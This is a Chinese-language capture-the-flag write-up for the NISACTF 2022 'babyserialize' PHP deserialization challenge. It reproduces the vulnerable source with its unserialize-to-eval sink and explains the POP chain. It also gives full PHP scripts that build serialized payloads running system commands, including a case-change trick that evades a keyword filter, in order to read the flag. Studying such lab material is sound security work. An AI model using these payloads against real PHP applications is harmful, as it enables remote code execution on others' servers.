<?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever;// 1 shell public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever);//执行代码的地方,函数来源于NISA类 } } class TianXiWei{ public $ext;//5 传递Ilovetxw public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang;// 4 传递four的地方 public $su;// 2 传递参数的地方,可以将类NISA传过来 public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){//_toString:当代码为字符串的时候执行 $bb = $this->su;//参数传递的地方,传递参数su,来源于类Ilovetxwreturn $bb(); } } class four{ public $a="TXW4EVER";//3 传递类Ilovetxw的地方 private $fun='abc'; //fun的值要为sixsixsix public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } if(isset($_GET['ser'])) { @unserialize($_GET['ser']);//对GET获取的ser进行反序列化 }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?>
先看题,是一道反序列化的题,进入就是php代码,先看代码,是pop链,先找链尾,也就是执行函数的地方,例如eval,在NISA类中能看见eval,所以这就是代码执行的地方,也就是这条pop链的链尾。执行的函数是txw4ever,在代码后面标注一下(放在开篇的代码里面标注的)。这里进行赋值的时候使用了checkcheck方法,看样子是个检测方法,给的代码里面没有完整代码,猜测应该是一个过滤。
既然要执行一个函数,那就需要将参数传递过去,下面找传递的地方,类似$a=$b的语句。可以在类Ilovetxw中看见这样一条语句, 可以看见,这里将su传递给了$bb,使用的是_toString。
继续向下看类four,里面是一个if判断,当fun=sixsixsix时才可以给类four里面的函数a赋值,所以待会需要修改fun的值。strtolower自动将大写转换成小写。
顺着fun,我们找到类Ilovetxw里面的_call方法,在这里使用到了fun,但是我们可以发现,类Ilovetxw里面并没有fun函数,所以,我们可以将里面的four传递给里面的函数huang。_call方法在NISA里面,我们继续回到NISA寻找,并未发现其他的东西。
继续查看代码,我们可以发现类TianXiWe里面的Wakeup方法,这里就是我们的链头所在了。这个方法就不用多说了,只要使用了反序列化unserialize机会自动调用。这里可以发现将nisa给了函数ext,而之前我们将nisa给了Ilovetxw,所以在这里我们需要给ext传递的就是Ilovetxw了
由此我们可以构造以下序列化代码
<?php class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun='sixsixsix'; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } $a=new NISA(); $a->txw4ever='system("ls");'; $b=new Ilovetxw(); $b->su=$a; $c=new four(); $c->a=$b; $b=new Ilovetxw(); $b->huang=$c; $d=new tianXiWei(); $d->ext=$b; echo urlencode(serialize($d)); ?>
传递结果给ser,得到下面的界面
知道flag在根目录下面,将ls改为cat /f*试试
依然还是这个界面,那就说明哪里不对,能出现界面变化,说明前面应该没有问题,那就是那两个不知到用处的方法搞得鬼。
一个checkcheck,一个hint方法,先看hint方法。用在这个地方的,他调用的前置条件是fun必须为这个值,那绕过他就很好办了,把fun的值改了就行了。随便改一个试试。
页面发生变化,说明绕过了hint方法。
接着是checkcheck方法,一看见preg_match,那多半就是对一些铭感词的过滤了,所以system,cat这些换个样子才行。最后得到下面的序列化代码
<?php class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun='sixsixsix'; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } $n=new NISA(); $n->txw4ever='System("cat /f*");'; $n->fun="666"; $i=new Ilovetxw(); $i->su=$n; $f=new four(); $f->a=$i; $i=new Ilovetxw(); $i->huang=$f; $t=new tianXiWei(); $t->ext=$i; echo urlencode(serialize($t)); ?>
成功拿到flag
标签:__,function,Ilovetxw,babyserialize,2022,fun,new,NISACTF,public From: https://www.cnblogs.com/karasbai/p/18383441